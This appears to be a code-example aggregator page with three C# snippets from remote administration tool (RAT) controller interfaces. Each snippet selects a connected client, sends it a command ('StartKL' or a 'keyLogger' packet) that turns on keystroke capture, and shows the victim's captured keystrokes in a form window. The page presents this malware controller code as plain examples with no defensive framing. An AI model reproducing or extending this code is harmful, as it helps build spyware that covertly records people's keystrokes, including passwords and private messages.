示例#1
0
        //Updates keylogger
        public void UpdateKeylogger(int ConnectionId, string Keystroke)
        {
            foreach (Keylogger K in Application.OpenForms.OfType <Keylogger>())
            {
                if (K.Visible && K.ConnectionId == ConnectionId && K.Update)
                {
                    K.txtKeylogger.AppendText(Keystroke + " ");
                    return;
                }
            }

            K = new Keylogger();
            K.Show();
            K.ConnectionId = ConnectionId;
            K.Text         = "Keylogger - " + ConnectionId;
            if (K.ConnectionId == ConnectionId)
            {
                K.txtKeylogger.AppendText(Keystroke + " ");
            }
        }
示例#2
0
        //Start keylogger
        private void btnStartKL_Click(object sender, EventArgs e)
        {
            if (lbConnectedClients.SelectedItems.Count < 0)
            {
                MessageBox.Show("Please select a client!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            int ConnectionId = CurrentSelectedID;

            MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("StartKL"));
            foreach (Keylogger KL in Application.OpenForms.OfType <Keylogger>())
            {
                if (KL.Visible && KL.ConnectionId == ConnectionId)
                {
                    return;
                }
            }

            K = new Keylogger();
            K.ConnectionId = ConnectionId;
            K.Text         = "Keylogger - " + ConnectionId;
            K.Show();
        }
示例#3
0
 private void KEYLOGGERToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "keyLogger";
             msgpack.ForcePathObject("isON").AsString   = "true";
             foreach (ListViewItem C in listView1.SelectedItems)
             {
                 Clients CL = (Clients)C.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + CL.ID];
                     if (KL == null)
                     {
                         KL = new Keylogger
                         {
                             Name = "keyLogger:" + CL.ID,
                             Text = "keyLogger:" + CL.ID,
                             F = this,
                             C = CL
                         };
                         KL.Show();
                         ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
                     }
                 }));
             }
         }
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message);
     }
 }